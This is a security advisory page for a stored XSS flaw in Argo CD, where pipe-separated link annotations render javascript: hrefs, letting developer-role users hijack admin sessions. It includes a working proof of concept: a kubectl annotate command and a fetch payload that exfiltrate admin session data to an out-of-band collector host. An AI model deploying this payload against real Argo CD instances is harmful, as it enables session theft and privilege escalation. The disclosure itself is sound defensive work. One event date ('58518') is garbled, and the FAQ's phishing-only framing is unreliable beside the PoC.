CVE-2026-45738: Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Published May 19, 2026
·
Updated

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/ annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

tsx const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='blank'> {parts[0]} </a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, , /, allow).

Step 1 — Set malicious annotation as developer:

bash kubectl annotate application <app-name> -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.

Step 2 — Admin opens Summary tab of the annotated application and clicks the link.

Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

javascript // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

json {"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

- Stored XSS — payload persists in the Kubernetes Application resource until manually removed - Privilege escalation — developer role → admin session hijacking via authenticated API calls - Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP) - Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de

Other sources

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/ annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

MITRE

Affected Software

8 affected componentsFixes available
go/github.com/argoproj/argo-cd<=1.8.7
go/github.com/argoproj/argo-cd/v2<=2.14.21
go/github.com/argoproj/argo-cd/v3>=3.4.0-rc1<=3.4.1
3.4.2
go/github.com/argoproj/argo-cd/v3>=3.3.0-rc1<=3.3.9
3.3.10
go/github.com/argoproj/argo-cd/v3<3.2.12
3.2.12
argoproj Argo CD<3.2.12
argoproj Argo CD>=3.3.0<3.3.10
argoproj Argo CD>=3.4.0<3.4.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/argoproj/argo-cd/v3 to a version that resolves this vulnerability.

    Fixed in 3.4.2
  2. Upgrade

    Upgrade go/github.com/argoproj/argo-cd/v3 to a version that resolves this vulnerability.

    Fixed in 3.3.10
  3. Upgrade

    Upgrade go/github.com/argoproj/argo-cd/v3 to a version that resolves this vulnerability.

    Fixed in 3.2.12
  4. Upgrade

    Upgrade Argo CD to a version that resolves this vulnerability.

    Fixed in 3.2.12
  5. Upgrade

    Upgrade Argo CD to a version that resolves this vulnerability.

    Fixed in 3.3.10
  6. Upgrade

    Upgrade Argo CD to a version that resolves this vulnerability.

    Fixed in 3.4.2

Event History

May 19, 2026
Advisory Published
via GitHub·03:54 PM
Data Sourced
via GitHub·03:54 PM
DescriptionSeverityWeaknessAffected Software
Jul 15, 2026
CVE Published
via MITRE·07:54 PM
Data Sourced
via MITRE·07:54 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Dec 24, 58518
Event
via NVD·05:46 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-45738?

CVE-2026-45738 has a moderate severity due to potential phishing risks associated with the uncontrolled rendering of URLs.

2

How do I fix CVE-2026-45738?

To remediate CVE-2026-45738, upgrade to ArgoCD version 3.4.2 or later, or 3.3.10 or later, depending on your version.

3

Who is affected by CVE-2026-45738?

Applications with developer role users that allow `link.argocd.argoproj.io/*` annotations without URL validation are vulnerable to CVE-2026-45738.

4

What kind of attack is possible due to CVE-2026-45738?

CVE-2026-45738 could allow an attacker to carry out phishing attacks by maliciously crafted URLs in the ArgoCD application summary.

5

What versions of ArgoCD are impacted by CVE-2026-45738?

CVE-2026-45738 affects ArgoCD versions up to 1.8.7 and versions in the 2.14.x and 3.x series below the specified fixes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203